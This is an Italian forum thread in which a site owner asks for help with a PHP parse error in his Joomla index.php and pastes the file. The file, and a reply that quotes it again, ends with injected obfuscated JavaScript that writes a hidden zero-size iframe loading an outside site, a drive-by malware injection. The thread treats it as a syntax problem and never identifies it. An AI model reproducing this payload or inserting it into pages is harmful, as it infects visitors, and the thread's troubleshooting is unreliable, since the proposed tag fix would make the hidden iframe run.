Visualizzazione dei risultati da 1 a 5 su 5
  1. #1

    Salve a tutti,sono nuovo

    Parse error: syntax error, unexpected '<' in /web/htdocs/................./home/index.php on line 89

    Salve ragazzi,da ieri sera mi è comparsa quaestra stana scritta sul mio sito.

    Visto che qui dentro ci sono molti esperti,chiedo un vostro aiuto.

    Qui trovate il codice intero dell'index.php:

    <?php
    /**
    * @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */

    // Set flag that this is a parent file
    define( '_JEXEC', 1 );

    define('JPATH_BASE', dirname(__FILE__) );

    define( 'DS', DIRECTORY_SEPARATOR );

    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

    JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

    /**
    * CREATE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe =& JFactory::getApplication('site');

    /**
    * INITIALISE THE APPLICATION
    *
    * NOTE :
    */
    // set the language
    $mainframe->initialise();

    JPluginHelper::importPlugin('system');

    // trigger the onAfterInitialise events
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');

    /**
    * ROUTE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->route();

    // authorization
    $Itemid = JRequest::getInt( 'Itemid');
    $mainframe->authorize($Itemid);

    // trigger the onAfterRoute events
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');

    /**
    * DISPATCH THE APPLICATION
    *
    * NOTE :
    */
    $option = JRequest::getCmd('option');
    $mainframe->dispatch($option);

    // trigger the onAfterDispatch events
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');

    /**
    * RENDER THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->render();

    // trigger the onAfterRender events
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    $mainframe->triggerEvent('onAfterRender');

    /**
    * RETURN THE RESPONSE
    */
    echo JResponse::toString($mainframe->getCfg('gzip'));
    <Script Language='Javascript'>
    <!--
    document.write(unescape('%3C%49%46%52%41%4D%45%20% 73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B %20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%6 3%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69% 6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65 %6B%2F%3F%74%3D%35%22%20%66%72%61%6D%65%42%6F%72%6 4%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E% 6F%20%0A%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65 %6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
    //-->
    </Script>

    Qui invece l'errore 89

    <Script Language='Javascript'>

    Ringrazio anticipatamente chi vorrà darmi una mano.

    Buona serata da Fabrizio

  2. #2

  3. #3
    mi indichi dove va messo il tag di chiusura?

  4. #4
    la index in questione si trova nella cartella administrator?

    No perchè il codice mi sembra errato

    <?php
    /**
    * @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */

    // Set flag that this is a parent file
    define( '_JEXEC', 1 );

    define('JPATH_BASE', dirname(__FILE__) );

    define('DS', DIRECTORY_SEPARATOR);

    require_once( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once( JPATH_BASE .DS.'includes'.DS.'helper.php' );
    require_once( JPATH_BASE .DS.'includes'.DS.'toolbar.php' );

    JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

    /**
    * CREATE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe =& JFactory::getApplication('administrator');

    /**
    * INITIALISE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->initialise(array(
    'language' => $mainframe->getUserState( "application.lang", 'lang' )
    ));

    JPluginHelper::importPlugin('system');

    // trigger the onAfterInitialise events
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');

    /**
    * ROUTE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->route();

    // trigger the onAfterRoute events
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');

    /**
    * DISPATCH THE APPLICATION
    *
    * NOTE :
    */
    $option = JAdministratorHelper::findOption();
    $mainframe->dispatch($option);

    // trigger the onAfterDispatch events
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');

    /**
    * RENDER THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->render();

    // trigger the onAfterRender events
    JDEBUG ? $_PROFILER->mark( 'afterRender' ) : null;
    $mainframe->triggerEvent( 'onAfterRender' );

    /**
    * RETURN THE RESPONSE
    */
    echo JResponse::toString($mainframe->getCfg('gzip'));
    ?><Script Language='Javascript'>
    <!--
    document.write(unescape('%3C%49%46%52%41%4D%45%20% 73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B %20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%6 3%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69% 6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65 %6B%2F%3F%74%3D%35%22%20%66%72%61%6D%65%42%6F%72%6 4%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E% 6F%20%0A%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65 %6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
    //-->
    </Script>

    Riga 89

    <!--

  5. #5
    Il titolo della discussione non rispetta il regolamento

    http://forum.html.it/forum/showthrea...hreadid=412253
    Addio Aldo, amico mio... [03/12/70 - 16/08/03]

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.